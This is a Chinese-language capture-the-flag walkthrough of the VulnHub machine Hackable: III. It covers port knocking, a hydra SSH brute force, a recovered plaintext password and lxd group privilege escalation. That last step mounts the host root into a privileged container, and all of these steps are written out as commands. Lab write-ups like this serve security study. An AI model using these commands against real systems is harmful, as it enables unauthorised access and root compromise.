Hackable: III

NoCirc1e發表於2024-05-05

靶機描述

靶機地址:https://download.vulnhub.com/hackable/hackable3.ova

Description

Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.

資訊收集

nmap探測詳細埠資訊

nmap -sS -sV -A -p- 192.168.56.106

image.png
探測到了robots.txt

Web發現

image.png
檢視頁面原始碼發現
image.png
發現了登入地址login_page/login.html,還有一個使用者名稱jubiscleudo,還提示了埠敲門

埠敲門(埠碰撞)技術是一種透過在一組預先指定的關閉埠上產生連線請求,從外部開啟防火牆上的埠的方法。一旦收到正確的連線請求序列,防火牆規則就會被動態修改,以允許傳送連線請求的主機透過特定埠進行連線。
也就是說,攻擊者可能透過埠掃面來利用一些埠服務來發動攻擊,但是一些固定的埠又需要開放來滿足遠端維護需求,因此,我們可以使用埠碰撞技術來形成一個訪問控制。我們需要去碰撞一個特定的埠序列,才能夠開啟我們想要訪問的埠。

登入頁面
image.png
檢視下robots.txt
image.png
檢視/config
image.png
有一個1.txt
image.png
base64解碼得到:10000,應該是埠敲門的埠之一
image.png

目錄掃描

dirsearch -u http://192.168.56.106/

image.png
訪問一下http://192.168.56.106/backup/
image.png
發現一個密碼本
image.png
訪問css頁面,發現裡面有個2.txt檔案
image.png
image.png
Brainfuck解碼
image.png
訪問登入頁面http://192.168.56.106/login.php,檢視原始碼
image.png
訪問一下3.jpg
image.png

圖片隱寫

image.png
看完了總結一下埠資訊:44441000065535

SSH登入

按照檔名的順序進行埠敲門10000444465535

knock 192.168.56.106 10000 4444 65535
nmap -A -p- 192.168.56.106

image.png
ssh開啟後,用我們之前發現的使用者名稱jubiscleudo,和發現的字典進行爆破

hydra -l jubiscleudo -P wordlist.txt 192.168.56.106 ssh 

image.png
ssh登入
image.png

提權

檢視下系統內的檔案
image.png
逐個訪問目錄,在訪問/var/www/html下有隱藏檔案.back_config.php,開啟後得到hackable_3密碼
image.png

hackable_3/TrOLLED_3

切換使用者
image.png
透過id命令可以看到該使用者在lxd組中(lxd和docker一樣,是一種容器)
參考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
image.png
由於靶機不出網,需要本地下載Alpine映象

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

生成.tar.gz檔案,開啟server服務,傳輸給目標機

python -m SimpleHTTPServer

目標機獲取映象,將其以映象的形式新增進LXD

wget http://192.168.75.150:8000/alpine-v3.16-x86_64-20220920_2354.tar.gz
lxc image import ./alpine-v3.16-x86_64-20220920_2354.tar.gz --alias myimage
lxc image list
#.tar.gz檔案是根據時間生成的,需要根據自己情況更改名稱,--alias後的名稱也可以自己定義

初始化Container,否則在載入容器時會顯示沒有儲存池

lxd init
//一路回車

image.png
執行如下命令,成功提權

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

image.png
獲取flag
image.png

相關文章